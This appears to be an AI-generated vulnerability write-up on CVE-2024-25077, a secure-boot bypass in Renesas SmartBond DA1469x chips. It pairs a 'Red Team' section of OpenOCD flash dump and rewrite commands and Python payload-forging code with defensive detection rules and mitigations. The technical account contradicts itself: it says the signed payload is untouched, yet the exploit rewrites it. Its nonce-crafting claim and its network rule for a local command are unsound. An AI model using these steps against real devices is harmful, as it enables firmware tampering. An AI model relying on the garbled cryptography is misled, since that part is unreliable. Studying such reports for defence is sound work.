CVE-2024-25077

Executive Summary

CVE-2024-25077 is a critical security vulnerability affecting Renesas SmartBond DA14691, DA14695, DA14697, and DA14699 Bluetooth Low Energy (BLE) System-on-Chip (SoC) devices. The flaw resides in the secure boot and on-the-fly flash decryption mechanism. The Nonce used for AES-CTR mode decryption of the external flash image is stored in an unsigned header. An attacker with physical or local access to the device can modify this Nonce without invalidating the ECDSA-based secure boot signature. Because AES-CTR mode provides no authentication, altering the Nonce allows an attacker to control the decryption of the flash image, leading to arbitrary code execution during the boot process. This effectively bypasses the secure boot chain, allowing the execution of malicious firmware.

Supply Chain & Package Security

This vulnerability is not related to software package ecosystems (NPM, PyPI, Go, Ruby). It is a hardware/firmware-level issue affecting embedded BLE SoCs. The risk is primarily to the supply chain of IoT devices, medical devices, and industrial controllers that integrate these specific Renesas chips. A compromised device can be used as a persistent foothold in a network.

CVSS Breakdown & Threat Level

The NVD has assigned a CVSS score of 0.0, indicating that the scoring was not performed or was withdrawn. However, based on the technical impact, a realistic assessment is critical.

• Attack Vector (AV): Physical (AV:P) - Requires physical access to the device to modify the flash header.
• Attack Complexity (AC): Low (AC:L) - The attack does not require specialized equipment beyond a standard flash programmer or UART interface.
• Privileges Required (PR): None (PR:N) - No prior authentication is needed.
• User Interaction (UI): None (UI:N) - No user action is required.
• Scope (S): Changed (S:C) - The vulnerability allows an attacker to execute arbitrary code, compromising the entire device.
• Confidentiality (C): High (C:H) - Arbitrary code execution can exfiltrate sensitive data.
• Integrity (I): High (I:H) - The attacker can modify the firmware.
• Availability (A): High (A:H) - The attacker can brick the device or cause denial of service.

Threat Level: Critical. The vulnerability completely undermines the secure boot process, a fundamental security control for embedded devices.

Deep Dive & Mechanics

The Renesas SmartBond DA1469x series uses a secure boot process to ensure only authenticated firmware runs. The process involves:

1. BootROM: The immutable boot ROM loads the first-stage bootloader from external flash.
2. Signature Verification: The bootloader verifies an ECDSA signature over the firmware image.
3. On-the-Fly Decryption: The firmware image is stored encrypted in external flash. The BootROM decrypts it on-the-fly using AES-CTR mode as it is loaded into internal SRAM.

The Vulnerability: The AES-CTR mode requires a Nonce (Initialization Vector - IV) to start the decryption. This Nonce is stored in a header that is not covered by the ECDSA signature. The signature only covers the encrypted firmware payload, not the header containing the Nonce.

Attack Mechanics:

1. An attacker gains physical access to the device (e.g., via JTAG, UART, or by desoldering the flash chip).
2. The attacker reads the external flash image.
3. The attacker modifies the Nonce value in the unsigned header.
4. The attacker writes the modified image back to the flash.
5. On the next boot, the BootROM reads the header, uses the attacker-controlled Nonce, and decrypts the firmware image.
6. Because AES-CTR decryption is XOR-based, changing the Nonce changes the keystream. The attacker can craft a specific Nonce that, when XORed with the encrypted payload, produces a desired malicious payload.
7. The ECDSA signature verification passes because the signature was computed over the original encrypted payload, which is still present (the attacker only changed the Nonce, not the encrypted payload itself). The decryption process then yields the attacker's code.

Vulnerable vs. Patched Code

This is a hardware/firmware design flaw, not a software code bug. There is no "patched code" in the traditional sense. The vulnerable design is the storage of the Nonce in an unsigned header.

Vulnerable Design (Conceptual):

// Flash Header Structure (Vulnerable)
struct flash_header {
    uint32_t magic;
    uint32_t image_size;
    uint8_t nonce[16]; // <-- NOT SIGNED
    uint8_t signature[64]; // ECDSA signature over encrypted_payload
    uint8_t encrypted_payload[]; // AES-CTR encrypted firmware
};

Patched Design (Conceptual):

// Flash Header Structure (Patched)
struct flash_header {
    uint32_t magic;
    uint32_t image_size;
    uint8_t nonce[16]; // <-- NOW INCLUDED IN SIGNATURE
    uint8_t signature[64]; // ECDSA signature over nonce + encrypted_payload
    uint8_t encrypted_payload[]; // AES-CTR encrypted firmware
};

The fix requires including the Nonce in the data over which the ECDSA signature is computed. Alternatively, using an authenticated encryption mode (e.g., AES-GCM) would also mitigate the issue.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Execute arbitrary code on a Renesas SmartBond DA1469x device by bypassing secure boot.

Prerequisites:

• Target device (e.g., DA14695 Development Kit).
• Flash programmer (e.g., J-Link, OpenOCD with FTDI).
• Python with pycryptodome or cryptography library.
• Binary analysis tools (e.g., binwalk, xxd).

Exploitation Steps:

1. Dump Flash:

   # Using OpenOCD
   openocd -f interface/jlink.cfg -f target/da1469x.cfg -c "init; flash read_bank 0 flash_dump.bin 0 0x100000; exit"
   

2. Parse Header:

   import struct
   with open('flash_dump.bin', 'rb') as f:
       magic = struct.unpack('<I', f.read(4))[0]
       image_size = struct.unpack('<I', f.read(4))[0]
       nonce = f.read(16)
       signature = f.read(64)
       encrypted_payload = f.read(image_size)
       print(f"Original Nonce: {nonce.hex()}")
   

3. Craft Malicious Payload:

   from Crypto.Cipher import AES
   from Crypto.Util import Counter
   import struct
   
   # Original encrypted payload and nonce
   original_nonce = bytes.fromhex('...')
   encrypted_payload = bytes.fromhex('...')
   
   # Desired shellcode (e.g., toggling a GPIO)
   shellcode = b'\x01\x02\x03...'  # ARM Thumb shellcode
   
   # Calculate the new nonce
   # AES-CTR: ciphertext = plaintext XOR keystream
   # We want: new_ciphertext = shellcode XOR keystream
   # We have: original_ciphertext = original_plaintext XOR keystream
   # Therefore: keystream = original_ciphertext XOR original_plaintext
   # We need to know the original plaintext to calculate keystream.
   # If unknown, we can use a known plaintext attack or brute force.
   # For simplicity, assume we know a portion of the original plaintext.
   
   # Example: Overwrite the first 256 bytes with a NOP sled + shellcode
   original_plaintext_start = b'\x00' * 256  # Placeholder
   keystream = bytes(a ^ b for a, b in zip(encrypted_payload[:256], original_plaintext_start))
   new_encrypted_start = bytes(a ^ b for a, b in zip(shellcode, keystream))
   new_encrypted_payload = new_encrypted_start + encrypted_payload[256:]
   
   # The new nonce can be arbitrary, but we must ensure the decryption yields our shellcode.
   # We can set the nonce to a fixed value (e.g., all zeros) and recalculate the encrypted payload.
   new_nonce = b'\x00' * 16
   

4. Write Modified Flash:

   # Reconstruct the flash image with the new nonce and modified encrypted payload
   python -c "
   import struct
   with open('flash_dump.bin', 'rb') as f:
       data = f.read()
   # Modify nonce at offset 8
   data = data[:8] + b'\x00'*16 + data[24:]
   # Modify encrypted payload (example)
   # ... (complex, requires recalculating the entire payload)
   with open('malicious_flash.bin', 'wb') as f:
       f.write(data)
   "
   # Write back to device
   openocd -f interface/jlink.cfg -f target/da1469x.cfg -c "init; flash write_bank 0 malicious_flash.bin 0; exit"
   

Blue Team (Defensive)

Objective: Detect and prevent exploitation of CVE-2024-25077.

Detection:

• Physical Inspection: Check for tampering with the external flash chip (e.g., desoldering marks, extra wires).
• Boot Log Analysis: Monitor UART boot logs for unexpected behavior or signature verification failures (though the attack bypasses this).
• Runtime Integrity Monitoring: Implement a runtime check that verifies the integrity of the Nonce in flash against a known-good value stored in OTP (One-Time Programmable) memory.
• Firmware Hashing: Periodically read back the flash and compare its hash to a known-good baseline.

Mitigation:

• Hardware Fix: The only complete fix is a silicon revision (DA1469x Rev. B or later) that includes the Nonce in the signature calculation.
• Workaround: If possible, use a secure element or external flash with built-in authentication.
• Network Segmentation: Isolate devices using these SoCs on a separate VLAN to limit lateral movement.
• Physical Security: Enclose devices in tamper-evident casings.

Indicators of Compromise (IOCs)

• Flash Header Anomaly: A Nonce value that is all zeros or a repeating pattern (e.g., 0x00000000000000000000000000000000).
• Unexpected Boot Behavior: Device boots successfully but exhibits unexpected behavior (e.g., connecting to unknown IPs, sending data over BLE).
• Modified Flash Hash: The SHA-256 hash of the external flash does not match the manufacturer's known-good hash.
• JTAG/SWD Activity: Unauthorized debugging sessions on the SWD/JTAG interface.

Detection Engineering

YARA Rule

rule CVE_2024_25077_Nonce_Tamper {
    meta:
        description = "Detects potential exploitation of CVE-2024-25077 by checking for a zeroed-out Nonce in Renesas DA1469x flash dumps"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-25077"
    strings:
        $nonce_zero = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
        $magic = { 41 53 53 45 } // Example magic "ASSE"
    condition:
        $magic at 0 and $nonce_zero at 8
}

Sigma Rule

title: CVE-2024-25077 - Renesas SmartBond Nonce Tampering
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-25077 by monitoring for unexpected boot behavior or flash modification attempts.
author: Valters IT
date: 2024/10/27
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/openocd'
        CommandLine|contains|all:
            - 'flash write_bank'
            - 'da1469x'
    condition: selection
falsepositives:
    - Legitimate firmware updates by authorized personnel.
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25077 - Potential Renesas SmartBond Exploitation - Unauthorized Flash Access"; flow:to_server; content:"flash write_bank"; content:"da1469x"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Inventory: Identify all devices using Renesas SmartBond DA14691, DA14695, DA14697, or DA14699 SoCs.
2. Physical Security: Ensure devices are in physically secure locations. Implement tamper-evident seals.
3. Network Segmentation: Place these devices on an isolated network segment with strict egress filtering.

Long-Term Fix:

• Vendor Patch: Contact Renesas for a firmware update that includes the Nonce in the signature calculation. If unavailable, request a hardware revision.
• Alternative SoC: Migrate to a different BLE SoC that uses authenticated encryption (e.g., AES-GCM) for flash decryption.
• Custom Bootloader: If the BootROM is not used, implement a custom bootloader that verifies the integrity of the entire header, including the Nonce.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.